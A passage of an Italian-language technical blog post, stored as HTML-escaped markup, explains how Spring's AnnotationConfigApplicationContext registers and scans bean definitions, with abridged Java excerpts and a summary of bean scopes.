Tali definizioni rappresentano le seguenti classi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;ConfigurationClassPostProcessor&lt;/strong&gt; usata per processare le classi annotate con @Configuration. Registrata di default quando viene abilitata la configurazione basata su annotazioni.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;DefaultEventListenerFactory&lt;/strong&gt; usata per supportare l&amp;#x27;annotazione @EventListener&lt;/li&gt;&lt;li&gt;&lt;strong&gt;EventListenerMethodProcessor&lt;/strong&gt; usata per registrare i metodi annotati con @EventListener come istanze di ApplicationListener&lt;/li&gt;&lt;li&gt;&lt;strong&gt;AutowiredAnnotationBeanPostProcessor&lt;/strong&gt; usata per supportare l&amp;#x27;autowired tramite costruttore, metodi e variabili&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;register&quot;&gt;Register&lt;/h3&gt;&lt;p&gt;Come visto in precedenza nel primo approccio, quando passiamo una lista di componentClasses, verrà invocato il metodo &lt;em&gt;register(componentClasses)&lt;/em&gt; della classe AnnotatedBeanDefinitionReader.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClasses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(componentClasses);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;All’interno di questo flusso avverrà la registrazione delle BeanDefinition.
Il processo inizia con l&amp;#x27;iterazione attraverso la lista di classi fornite come input, ognuna delle quali
è un potenziale candidato per diventare un bean.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClasses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;		&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; componentClasses) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(componentClass);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per iniziare il processo di trasformazione, all’interno del metodo &lt;em&gt;doRegisterBean()&lt;/em&gt;, viene istanziato
un AnnotatedGenericBeanDefinition.
vengono configurati parametri chiave per l&amp;#x27;AnnotatedGenericBeanDefinition, come il suo scope e il nome, se non forniti esplicitamente.
Lo scope definisce il ciclo di vita e la visibilità di un bean gestito dal container Spring. Ci sono diversi tipi di scope,
ognuno dei quali determina come viene istanziato e mantenuto il bean all&amp;#x27;interno dell&amp;#x27;applicazione.
Ecco alcuni degli scope più comuni:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Singleton&lt;/strong&gt;: È lo scope predefinito. Spring crea una singola istanza del bean per l&amp;#x27;applicazione e la mantiene in memoria.
Tutte le richieste per quel bean restituiranno sempre la stessa istanza.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Prototype&lt;/strong&gt;: Spring crea una nuova istanza del bean ogni volta che viene richiesto, quindi ogni richiesta restituirà un&amp;#x27;istanza
separata del bean.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Request&lt;/strong&gt;: Il bean esiste solo all&amp;#x27;interno del ciclo di vita di una singola richiesta HTTP. Viene creato un nuovo bean per ogni
richiesta HTTP e distrutto alla fine della richiesta.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Session&lt;/strong&gt;: Il bean esiste all&amp;#x27;interno del ciclo di vita di una singola sessione utente. Viene creato un nuovo bean per ogni
sessione utente e distrutto alla fine della sessione.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Dopo aver impostato lo scope, attraverso il metodo &lt;em&gt;processCommonDefinitionAnnotations()&lt;/em&gt;, vengono interpretate e applicate annotazioni comuni come
Primary, Fallback, Role, Lazy, Description e DependsOn.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &amp;lt;T&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;doRegisterBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;T&amp;gt; beanClass, ...) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;AnnotatedGenericBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotatedGenericBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanClass);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;abd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setScope&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scopeMetadata&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getScopeName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = (name != &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; name &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanNameGenerator&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;generateBeanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(abd, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;AnnotationConfigUtils&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;processCommonDefinitionAnnotations&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(abd);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;definitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(abd, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;BeanDefinitionReaderUtils&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(definitionHolder, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Una volta completata la fase di preparazione, viene istanziato
un BeanDefinitionHolder. Infine, la definizione viene ufficialmente registrata tramite
il metodo &lt;em&gt;registerBeanDefinition()&lt;/em&gt;.&lt;/p&gt;&lt;h3 id=&quot;scan&quot;&gt;Scan&lt;/h3&gt;&lt;p&gt;Quando verrà istanziato AnnotationConfigApplicationContext passando al costruttore un array di stringhe che rappresentano i base packages, la situazione sarà analoga.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scanner&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(basePackages);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Quando viene istanziato l’ApplicationContext verrà invocato il metodo &lt;em&gt;doScan(basePackages)&lt;/em&gt; della classe ClassPathBeanDefinitionScanner, in cui scannerizziamo tutti gli
ipotetici beanDefinition all&amp;#x27;interno di ogni basePackage. Al suo interno verrà invocato il metodo &lt;em&gt;findCandidateComponents(basePackage)&lt;/em&gt;, il quale a partire da un array di stringhe rappresentanti i basePackages, costruisce inizialmente un array di &lt;strong&gt;Resource&lt;/strong&gt; ognuna delle quali punterà alle classi presenti nei packages, e a partira dal quale verrà crato un array di BeanDefinition. Per ognuna di esse settiamo lo scope e il beanName. In seguito come già visto nel flusso del &lt;em&gt;register()&lt;/em&gt;, invochiamo il metodo &lt;em&gt;processCommonDefinitionAnnotations()&lt;/em&gt; della classe &lt;strong&gt;AnnotationConfigUtils&lt;/strong&gt; dove verranno intepretate e applicate ala BeanDefinition le annotazioni comuni sopra citate.&lt;/p&gt;&lt;p&gt;Successivamente ci sara un &lt;em&gt;checkCandidate&lt;/em&gt; per ogni candidato che controllerà, tra l&amp;#x27;altro, che il registry non contenga già quella definizione.
Una volta controllata la definizione verrà registrata all&amp;#x27;interno della beanFactory.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;BeanDefinitionHolder&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;doScan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanDefinitions&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;LinkedHashSet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&amp;gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackage&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; basePackages) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;candidates&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findCandidateComponents&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(basePackage);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;candidate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; candidates) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;candidate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setScope&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scopeMetadata&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getScopeName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanNameGenerator&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;generateBeanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(candidate, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;checkCandidate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanName, candidate)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;definitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;BeanDefinitionHolder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(candidate, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanDefinitions&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(definitionHolder);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(definitionHolder, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; beanDefinitions;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
